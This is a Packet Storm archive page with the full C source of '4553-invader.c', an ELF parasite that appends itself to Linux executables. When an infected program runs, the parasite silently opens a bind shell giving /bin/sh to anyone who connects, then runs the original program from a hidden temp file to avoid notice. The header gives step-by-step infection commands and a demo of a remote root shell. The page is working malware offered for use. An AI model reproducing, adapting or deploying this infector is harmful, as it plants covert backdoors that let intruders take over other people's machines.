what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

4553-invader.c

4553-invader.c
Posted Apr 15, 2003
Authored by Brainstorm, electronicsouls

This ELF infector appends two executables together. The payload inside this parasite opens a bind shell on the infected machine as the user who executed it.

tags | shell
SHA-256 | f4f9282628fac3918df1ccfb4c92839b7ee9fbfe284516b282d78e48ae663acb

4553-invader.c

Change Mirror Download
/*
-----------------------------------------------------------
[CONFIDENTIAL SOURCE MATERIAL OF THE ELECTRONIC-SOULS CREW]
------------------- DO NOT DISTRIBUTE ! -------------------
-----------------------------------------------------------
[ E l e c t r o n i c S o u l s ]
[Invader] - append ELF infect0r - update of the underworld
ELF Parasite
(C) BrainStorm - 01-2002
-----------------------------------------------------------
Information :
+++++++++++++
This ELF Infector uses the appendage infection tekneeq!
that means to two Executeables are appended together.
The payload inside this parasite opens a port shell on the
infected machine as the user who executed it.

-----------------------------------------------------------

to get it working :
+++++++++++++++++++
compile the code, then get the file size and change
the define in the code, now recompile and we are done ;)

example :
i wrote a quick program that just prints a msg and shows
the date so i can test the infection:

[root@BrainMachine x]# ./blah
im a test prog that gets infected :>

Sam Jan 5 14:22:43 CET 2002
[root@BrainMachine x]#

thats how it looks like
before the infection and after it, since the parasite
extracts the host to a temp file and executes it, so you
wont notice the infection unless you added some printf()s

from another term:

[root@BrainMachine client]# telnet localhost 21317
Trying 127.0.0.1...
Connected to brainmachine.electronicsouls.org.
Escape character is '^]'.
uname -a;
Linux BrainMachine.ElectronicSouls.org 2.2.17-14 #1 Wed Feb 14 13:51:00 CET 2001 i686 unknown
: command not found
id;
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
: command not found

..now ph34r this ;)

-----------------------------------------------------------

to infect a binary :
++++++++++++++++++++
cat /bin/binary >> para: mv para /bin/binary
if binary gets executed it opens up a portshell ;)

-----------------------------------------------------------

special thanks to :
+++++++++++++++++++
ghQst and SectorX for making me interested in ELF infection
and for beeing there for me since back in the days =) !
and PhaNtoM for providing me with that very small
portshell code !

shouts go out to all ElectronicSouls members - j00 r0ck =)

-----------------------------------------------------------
[ElectronicSouls] - Immortal Blackhat since 1995 ;)
-----------------------------------------------------------

*/

/*
the fearsome t e k n e e q z start here !

*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define PARASIZE 18018 /* dont forget to change me ! */
#define TEMP ".para.tmp" /* tmp file */
#define KILL(X) exit(1) /* we dont want to die.. */

int soc,cli;
struct sockaddr_in serv_addr;

int main(int argc, char *argv[], char *envp[])
{
int input,
output,
lenght;

char *dope;
struct stat stat;

if(fork()==0) /* start of the portshell */
{
serv_addr.sin_family=2;
serv_addr.sin_addr.s_addr=0;
serv_addr.sin_port=(0x4553);
soc=socket(2,1,6);
bind(soc,(struct sockaddr *)&serv_addr,0x10);
listen(soc,1);
cli=accept(soc,0,0);
dup2(cli,0);
dup2(cli,1);
dup2(cli,2);
execl("/bin/sh","sh",0);
}
input = open("/proc/self/exe", O_RDONLY);

if (input < 0)
KILL("open(input)");

if (fstat(input, &stat) < 0)
KILL("fstat");

lenght = stat.st_size - PARASIZE;
dope = malloc(lenght);

if (dope == NULL)
KILL("malloc");

if (lseek(input, PARASIZE, SEEK_SET) != PARASIZE)
KILL("lseek(input)");

if (read(input, dope, lenght) != lenght)
KILL("read(input)");

close(input);
output = open(TEMP, O_RDWR | O_CREAT | O_TRUNC, stat.st_mode);

if (output < 0)
KILL("open(output)");

if (write(output, dope, lenght) != lenght)
KILL("write(output)");

free(dope);
close(output);

exit(execve(TEMP, argv, envp));
}

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close